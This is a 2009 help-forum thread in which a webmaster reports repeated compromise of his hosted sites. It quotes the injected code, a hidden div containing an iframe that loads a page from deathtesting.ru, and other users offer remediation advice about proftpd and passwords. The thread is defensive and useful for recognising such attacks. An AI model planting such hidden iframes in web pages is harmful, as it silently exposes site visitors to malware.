deathtesting.ru

Thread Solved

Join Date: May 2004
Posts: 102
Reputation: kained is an unknown quantity at this point 
Solved Threads: 0
kained kained is offline Offline
Junior Poster

deathtesting.ru

 
-1
  #1
Sep 28th, 2009
Not sure if this is in the right place but anyway........

A load of sites i help maintain have been having code added to them.

<div style="display:none"><iframe width=438 height=168 src="http://deathtesting.  ru:8080/index.php" ></iframe></div>

normally with a load of random divs as well.

I have found out from a random lLithuanian site that this is a proftpd service vulnerability.

Google has flagged the sites and is displaying warnings that our site may contain malware.

Any ideas how to get rid of it?

We are currently changing our FTP and control panel codes and i will get rid of the code and reupload again and see if that works but is there anything else that can be done?

The sites are hosted on 1&1 if that makes any difference.




Have tried removing the code and re-uploading.
Reply With Quote Quick reply to this message  
Join Date: Jul 2009
Posts: 8
Reputation: BrianDSy is an unknown quantity at this point 
Solved Threads: 2
BrianDSy BrianDSy is offline Offline
Newbie Poster

Re: deathtesting.ru

 
0
  #2
Sep 30th, 2009
Until you can verify that the proftpd application has been patched you should disable it. The Fedora update for proftpd was published on the 24th. It may already be in place on your hosting service.
Reply With Quote Quick reply to this message  
Join Date: May 2004
Posts: 102
Reputation: kained is an unknown quantity at this point 
Solved Threads: 0
kained kained is offline Offline
Junior Poster

Re: deathtesting.ru

 
0
  #3
Sep 30th, 2009
Thinks is okay now, just changed the FTP and control panel codes and reuploaded everything and it seems to be fine.
Reply With Quote Quick reply to this message  
Join Date: Jul 2009
Posts: 8
Reputation: BrianDSy is an unknown quantity at this point 
Solved Threads: 2
BrianDSy BrianDSy is offline Offline
Newbie Poster

Re: deathtesting.ru

 
0
  #4
Sep 30th, 2009
When you say you changed the FTP and control panel codes I am not sure what you mean. Did you mean you changed the passwords?
Reply With Quote Quick reply to this message  
Join Date: May 2004
Posts: 102
Reputation: kained is an unknown quantity at this point 
Solved Threads: 0
kained kained is offline Offline
Junior Poster

Re: deathtesting.ru

 
0
  #5
Oct 1st, 2009
yes
Reply With Quote Quick reply to this message  
Reply

This thread has been marked solved.
Perhaps start a new thread instead?
Message:



Other Threads in the Viruses, Spyware and other Nasties Forum
Thread Tools Search this Thread



Tag cloud for Viruses, Spyware and other Nasties
About Us | Contact Us | Advertise | DaniWeb | Acceptable Use Policy | RSS Feed

©2003 - 2009 DaniWeb® LLC